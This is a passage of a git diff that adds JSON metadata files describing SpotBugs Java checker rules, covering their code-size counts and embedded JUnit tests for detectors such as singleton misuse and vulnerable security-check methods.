Information/checkers/detect/FindUselessObjects.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUselessObjects.json new file mode 100644 index 0000000..631e9ee --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUselessObjects.json @@ -0,0 +1,13 @@ +{ + "name": "FindUselessObjects", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 704, + "branches": 182, + "apis": 141, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindVulnerableSecurityCheckMethods.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindVulnerableSecurityCheckMethods.json new file mode 100644 index 0000000..848103b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindVulnerableSecurityCheckMethods.json @@ -0,0 +1,32 @@ +{ + "name": "FindVulnerableSecurityCheckMethods", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 134, + "branches": 11, + "apis": 14, + "test": [ + { + "description": "testingBadCases", + "expected-problems": null, + "expected-linenumbers": [ + 10, + 26 + ], + "code": "@Test\n void testingBadCases() {\n performAnalysis(\"vulnerablesecuritycheckmethodstest/FindVulnerableSecurityCheckMethodsTest.class\",\n \"vulnerablesecuritycheckmethodstest/SecurityManager.class\");\n\n assertBugTypeCount(BUG_TYPE, 7);\n String className = \"FindVulnerableSecurityCheckMethodsTest\";\n\n assertBugInMethodAtLine(BUG_TYPE, className, \"badFindVulnerableSecurityCheckMethodsCheck\", 23);\n assertBugInMethodAtLine(BUG_TYPE, className, \"badFindVulnerableSecurityCheckMethodsCheck2\", 37);\n assertBugInMethodAtLine(BUG_TYPE, className, \"badFindVulnerableSecurityCheckMethodsCheck3\", 53);\n assertBugInMethodAtLine(BUG_TYPE, className, \"badCalled\", 77);\n assertBugInMethodAtLine(BUG_TYPE, className, \"badFindVulnerableSecurityCheckMethodsCheck4\", 94);\n assertBugInMethodAtLine(BUG_TYPE, className, \"badFindVulnerableSecurityCheckMethodsCheck5\", 111);\n assertBugInMethodAtLine(BUG_TYPE, className, \"badFindVulnerableSecurityCheckMethodsCheck6\", 128);\n\n }" + }, + { + "description": "testingGoodCases", + "expected-problems": null, + "expected-linenumbers": [ + 28, + 41 + ], + "code": "@Test\n void testingGoodCases() {\n performAnalysis(\"vulnerablesecuritycheckmethodstest/GoodVulnerableSecurityCheckMethodsTest.class\",\n \"vulnerablesecuritycheckmethodstest/FindVulnerableSecurityCheckMethodsTest.class\",\n \"vulnerablesecuritycheckmethodstest/SecurityManager.class\");\n assertNoBugInMethod(BUG_TYPE, \"FindVulnerableSecurityCheckMethodsTest\", \"goodvulnerablesecuritycheckmethodstestCheck\");\n assertNoBugInMethod(BUG_TYPE, \"FindVulnerableSecurityCheckMethodsTest\", \"goodVulnerableSecurityCheckMethodsTestCheck2\");\n assertNoBugInMethod(BUG_TYPE, \"FindVulnerableSecurityCheckMethodsTest\", \"goodVulnerableSecurityCheckMethodsTestCheck4\");\n assertNoBugInMethod(BUG_TYPE, \"FindVulnerableSecurityCheckMethodsTest\", \"goodVulnerableSecurityCheckMethodsTestCheck5\");\n assertNoBugInMethod(BUG_TYPE, \"FindVulnerableSecurityCheckMethodsTest\", \"goodVulnerableSecurityCheckMethodsTestCheck6\");\n assertNoBugInMethod(BUG_TYPE, \"FindVulnerableSecurityCheckMethodsTest\", \"goodVulnerableSecurityCheckMethodsTestCheck7\");\n\n assertNoBugInClass(BUG_TYPE, \"GoodVulnerableSecurityCheckMethodsTest\");\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FormatStringChecker.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FormatStringChecker.json new file mode 100644 index 0000000..8ac2dd5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FormatStringChecker.json @@ -0,0 +1,13 @@ +{ + "name": "FormatStringChecker", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 127, + "branches": 13, + "apis": 32, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FunctionsThatMightBeMistakenForProcedures.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FunctionsThatMightBeMistakenForProcedures.json new file mode 100644 index 0000000..393a086 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FunctionsThatMightBeMistakenForProcedures.json @@ -0,0 +1,13 @@ +{ + "name": "FunctionsThatMightBeMistakenForProcedures", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 314, + "branches": 47, + "apis": 54, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/HugeSharedStringConstants.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/HugeSharedStringConstants.json new file mode 100644 index 0000000..9d005bd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/HugeSharedStringConstants.json @@ -0,0 +1,13 @@ +{ + "name": "HugeSharedStringConstants", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 126, + "branches": 12, + "apis": 24, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IDivResultCastToDouble.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IDivResultCastToDouble.json new file mode 100644 index 0000000..1ec6594 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IDivResultCastToDouble.json @@ -0,0 +1,13 @@ +{ + "name": "IDivResultCastToDouble", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 76, + "branches": 6, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IOStreamFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IOStreamFactory.json new file mode 100644 index 0000000..37aa304 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IOStreamFactory.json @@ -0,0 +1,13 @@ +{ + "name": "IOStreamFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 89, + "branches": 10, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IncompatMask.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IncompatMask.json new file mode 100644 index 0000000..e4957cd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IncompatMask.json @@ -0,0 +1,23 @@ +{ + "name": "IncompatMask", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 212, + "branches": 42, + "apis": 23, + "test": [ + { + "description": "testGetFlagBits", + "expected-problems": null, + "expected-linenumbers": [ + 42, + 52 + ], + "code": "@Test\n void testGetFlagBits() {\n check(1);\n check(4);\n check(0x10000000L);\n check(0x80000000L);\n check(0x100000000L);\n check(0x10000000000L);\n check(Long.MIN_VALUE >>> 1);\n check(Long.MIN_VALUE);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InconsistentAnnotations.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InconsistentAnnotations.json new file mode 100644 index 0000000..d5a6019 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InconsistentAnnotations.json @@ -0,0 +1,13 @@ +{ + "name": "InconsistentAnnotations", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 90, + "branches": 6, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InconsistentSyncWarningProperty.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InconsistentSyncWarningProperty.json new file mode 100644 index 0000000..da7c35f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InconsistentSyncWarningProperty.json @@ -0,0 +1,13 @@ +{ + "name": "InconsistentSyncWarningProperty", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 81, + "branches": 5, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InefficientIndexOf.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InefficientIndexOf.json new file mode 100644 index 0000000..36b33ac --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InefficientIndexOf.json @@ -0,0 +1,13 @@ +{ + "name": "InefficientIndexOf", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 86, + "branches": 9, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InefficientInitializationInsideLoop.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InefficientInitializationInsideLoop.json new file mode 100644 index 0000000..b5abf26 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InefficientInitializationInsideLoop.json @@ -0,0 +1,13 @@ +{ + "name": "InefficientInitializationInsideLoop", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 188, + "branches": 23, + "apis": 48, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InefficientMemberAccess.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InefficientMemberAccess.json new file mode 100644 index 0000000..27664f0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InefficientMemberAccess.json @@ -0,0 +1,13 @@ +{ + "name": "InefficientMemberAccess", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 111, + "branches": 15, + "apis": 22, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InefficientToArray.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InefficientToArray.json new file mode 100644 index 0000000..7d53b20 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InefficientToArray.json @@ -0,0 +1,13 @@ +{ + "name": "InefficientToArray", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 151, + "branches": 15, + "apis": 26, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InfiniteLoop.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InfiniteLoop.json new file mode 100644 index 0000000..0d82b07 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InfiniteLoop.json @@ -0,0 +1,13 @@ +{ + "name": "InfiniteLoop", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 501, + "branches": 89, + "apis": 107, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InfiniteRecursiveLoop.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InfiniteRecursiveLoop.json new file mode 100644 index 0000000..64effba --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InfiniteRecursiveLoop.json @@ -0,0 +1,13 @@ +{ + "name": "InfiniteRecursiveLoop", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 237, + "branches": 52, + "apis": 41, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InheritanceUnsafeGetResource.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InheritanceUnsafeGetResource.json new file mode 100644 index 0000000..241272a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InheritanceUnsafeGetResource.json @@ -0,0 +1,13 @@ +{ + "name": "InheritanceUnsafeGetResource", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 164, + "branches": 18, + "apis": 19, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InitializationChain.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InitializationChain.json new file mode 100644 index 0000000..dab4fc4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InitializationChain.json @@ -0,0 +1,13 @@ +{ + "name": "InitializationChain", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 244, + "branches": 30, + "apis": 65, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InitializeNonnullFieldsInConstructor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InitializeNonnullFieldsInConstructor.json new file mode 100644 index 0000000..f1dca28 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InitializeNonnullFieldsInConstructor.json @@ -0,0 +1,13 @@ +{ + "name": "InitializeNonnullFieldsInConstructor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 214, + "branches": 35, + "apis": 43, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InstanceFieldLoadStreamFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InstanceFieldLoadStreamFactory.json new file mode 100644 index 0000000..4d5393a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InstanceFieldLoadStreamFactory.json @@ -0,0 +1,13 @@ +{ + "name": "InstanceFieldLoadStreamFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 97, + "branches": 9, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InstantiateStaticClass.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InstantiateStaticClass.json new file mode 100644 index 0000000..35a7542 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InstantiateStaticClass.json @@ -0,0 +1,13 @@ +{ + "name": "InstantiateStaticClass", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 110, + "branches": 18, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IntCast2LongAsInstant.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IntCast2LongAsInstant.json new file mode 100644 index 0000000..1a7ea34 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IntCast2LongAsInstant.json @@ -0,0 +1,13 @@ +{ + "name": "IntCast2LongAsInstant", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 97, + "branches": 8, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InvalidJUnitTest.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InvalidJUnitTest.json new file mode 100644 index 0000000..e47aed7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/InvalidJUnitTest.json @@ -0,0 +1,13 @@ +{ + "name": "InvalidJUnitTest", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 221, + "branches": 35, + "apis": 44, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IteratorIdioms.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IteratorIdioms.json new file mode 100644 index 0000000..f75e0b2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/IteratorIdioms.json @@ -0,0 +1,13 @@ +{ + "name": "IteratorIdioms", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 139, + "branches": 13, + "apis": 23, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/LazyInit.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/LazyInit.json new file mode 100644 index 0000000..eb94684 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/LazyInit.json @@ -0,0 +1,13 @@ +{ + "name": "LazyInit", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 387, + "branches": 53, + "apis": 83, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/LoadOfKnownNullValue.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/LoadOfKnownNullValue.json new file mode 100644 index 0000000..04fc611 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/LoadOfKnownNullValue.json @@ -0,0 +1,13 @@ +{ + "name": "LoadOfKnownNullValue", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 304, + "branches": 43, + "apis": 80, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/LostLoggerDueToWeakReference.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/LostLoggerDueToWeakReference.json new file mode 100644 index 0000000..3e5349f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/LostLoggerDueToWeakReference.json @@ -0,0 +1,13 @@ +{ + "name": "LostLoggerDueToWeakReference", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 195, + "branches": 29, + "apis": 34, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MethodReturnCheck.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MethodReturnCheck.json new file mode 100644 index 0000000..50b5125 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MethodReturnCheck.json @@ -0,0 +1,13 @@ +{ + "name": "MethodReturnCheck", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 362, + "branches": 49, + "apis": 101, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MethodReturnValueStreamFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MethodReturnValueStreamFactory.json new file mode 100644 index 0000000..65bbba1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MethodReturnValueStreamFactory.json @@ -0,0 +1,13 @@ +{ + "name": "MethodReturnValueStreamFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 145, + "branches": 12, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/Methods.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/Methods.json new file mode 100644 index 0000000..437c79d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/Methods.json @@ -0,0 +1,13 @@ +{ + "name": "Methods", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 43, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MultipleInstantiationsOfSingletons.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MultipleInstantiationsOfSingletons.json new file mode 100644 index 0000000..2400ea3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/MultipleInstantiationsOfSingletons.json @@ -0,0 +1,275 @@ +{ + "name": "MultipleInstantiationsOfSingletons", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 319, + "branches": 45, + "apis": 89, + "test": [ + { + "description": "abstractClassTest", + "expected-problems": null, + "expected-linenumbers": [ + 9, + 14 + ], + "code": "@Test\n void abstractClassTest() {\n performAnalysis(\"singletons/AbstractClass.class\",\n \"singletons/AbstractClass$Nested.class\");\n assertNoBugs();\n }" + }, + { + "description": "innerChildInstanceTest", + "expected-problems": null, + "expected-linenumbers": [ + 16, + 21 + ], + "code": "@Test\n void innerChildInstanceTest() {\n performAnalysis(\"singletons/InnerChildInstance.class\",\n \"singletons/InnerChildInstance$Unknown.class\");\n assertNoBugs();\n }" + }, + { + "description": "innerChildAndMoreInstanceTest", + "expected-problems": null, + "expected-linenumbers": [ + 23, + 35 + ], + "code": "@Test\n void innerChildAndMoreInstanceTest() {\n performAnalysis(\"singletons/InnerChildAndMoreInstance.class\",\n \"singletons/InnerChildAndMoreInstance$Unknown.class\");\n assertBugTypeCount(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\", 1);\n assertBugInClass(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\", \"InnerChildAndMoreInstance\");\n\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_INDIRECTLY_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONE_METHOD\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_SERIALIZABLE\");\n assertNoBugType(\"SING_SINGLETON_GETTER_NOT_SYNCHRONIZED\");\n }" + }, + { + "description": "InnerChildAndMoreInstanceReorderedTest", + "expected-problems": null, + "expected-linenumbers": [ + 37, + 49 + ], + "code": "@Test\n void InnerChildAndMoreInstanceReorderedTest() {\n performAnalysis(\"singletons/InnerChildAndMoreInstanceReordered.class\",\n \"singletons/InnerChildAndMoreInstanceReordered$Unknown.class\");\n assertBugTypeCount(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\", 1);\n assertBugInClass(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\", \"InnerChildAndMoreInstanceReordered\");\n\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_INDIRECTLY_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONE_METHOD\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_SERIALIZABLE\");\n assertNoBugType(\"SING_SINGLETON_GETTER_NOT_SYNCHRONIZED\");\n }" + }, + { + "description": "InnerChildAndMoreInstanceNoGetterTest", + "expected-problems": null, + "expected-linenumbers": [ + 51, + 56 + ], + "code": "@Test\n void InnerChildAndMoreInstanceNoGetterTest() {\n performAnalysis(\"singletons/InnerChildAndMoreInstanceNoGetter.class\",\n \"singletons/InnerChildAndMoreInstanceNoGetter$Unknown.class\");\n assertNoBugs();\n }" + }, + { + "description": "notSingletonWithFactoryMethodTest", + "expected-problems": null, + "expected-linenumbers": [ + 58, + 62 + ], + "code": "@Test\n void notSingletonWithFactoryMethodTest() {\n performAnalysis(\"singletons/NotSingletonWithFactoryMethod.class\");\n assertNoBugs();\n }" + }, + { + "description": "notLazyInitSingletonTest", + "expected-problems": null, + "expected-linenumbers": [ + 64, + 68 + ], + "code": "@Test\n void notLazyInitSingletonTest() {\n performAnalysis(\"singletons/NotLazyInitSingleton.class\");\n assertNoBugs();\n }" + }, + { + "description": "cloneableSingletonTest", + "expected-problems": null, + "expected-linenumbers": [ + 70, + 81 + ], + "code": "@Test\n void cloneableSingletonTest() {\n performAnalysis(\"singletons/CloneableSingleton.class\");\n assertBugTypeCount(\"SING_SINGLETON_IMPLEMENTS_CLONEABLE\", 1);\n assertBugInMethod(\"SING_SINGLETON_IMPLEMENTS_CLONEABLE\", \"CloneableSingleton\", \"clone\");\n\n assertNoBugType(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\");\n assertNoBugType(\"SING_SINGLETON_INDIRECTLY_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONE_METHOD\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_SERIALIZABLE\");\n assertNoBugType(\"SING_SINGLETON_GETTER_NOT_SYNCHRONIZED\");\n }" + }, + { + "description": "indirectlyCloneableSingletonTest", + "expected-problems": null, + "expected-linenumbers": [ + 83, + 94 + ], + "code": "@Test\n void indirectlyCloneableSingletonTest() {\n performAnalysis(\"singletons/IndirectlyCloneableSingleton.class\", \"singletons/CloneableClass.class\");\n assertBugTypeCount(\"SING_SINGLETON_INDIRECTLY_IMPLEMENTS_CLONEABLE\", 1);\n assertBugInClass(\"SING_SINGLETON_INDIRECTLY_IMPLEMENTS_CLONEABLE\", \"IndirectlyCloneableSingleton\");\n\n assertNoBugType(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONE_METHOD\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_SERIALIZABLE\");\n assertNoBugType(\"SING_SINGLETON_GETTER_NOT_SYNCHRONIZED\");\n }" + }, + { + "description": "defaultConstructorTest", + "expected-problems": null, + "expected-linenumbers": [ + 96, + 107 + ], + "code": "@Test\n void defaultConstructorTest() {\n performAnalysis(\"singletons/DefaultConstructor.class\");\n assertBugTypeCount(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\", 1);\n assertBugInClass(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\", \"DefaultConstructor\");\n\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_INDIRECTLY_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONE_METHOD\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_SERIALIZABLE\");\n assertNoBugType(\"SING_SINGLETON_GETTER_NOT_SYNCHRONIZED\");\n }" + }, + { + "description": "protectedConstructorTest", + "expected-problems": null, + "expected-linenumbers": [ + 109, + 120 + ], + "code": "@Test\n void protectedConstructorTest() {\n performAnalysis(\"singletons/ProtectedConstructor.class\");\n assertBugTypeCount(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\", 1);\n assertBugInClass(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\", \"ProtectedConstructor\");\n\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_INDIRECTLY_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONE_METHOD\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_SERIALIZABLE\");\n assertNoBugType(\"SING_SINGLETON_GETTER_NOT_SYNCHRONIZED\");\n }" + }, + { + "description": "protectedConstructorStaticInitTest", + "expected-problems": null, + "expected-linenumbers": [ + 122, + 133 + ], + "code": "@Test\n void protectedConstructorStaticInitTest() {\n performAnalysis(\"singletons/ProtectedConstructorStaticInit.class\");\n assertBugTypeCount(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\", 1);\n assertBugInClass(\"SING_SINGLETON_HAS_NONPRIVATE_CONSTRUCTOR\", \"ProtectedConstructorStaticInit\");\n\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_INDIRECTLY_IMPLEMENTS_CLONEABLE\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_CLONE_METHOD\");\n assertNoBugType(\"SING_SINGLETON_IMPLEMENTS_SERIALIZABLE\");\n 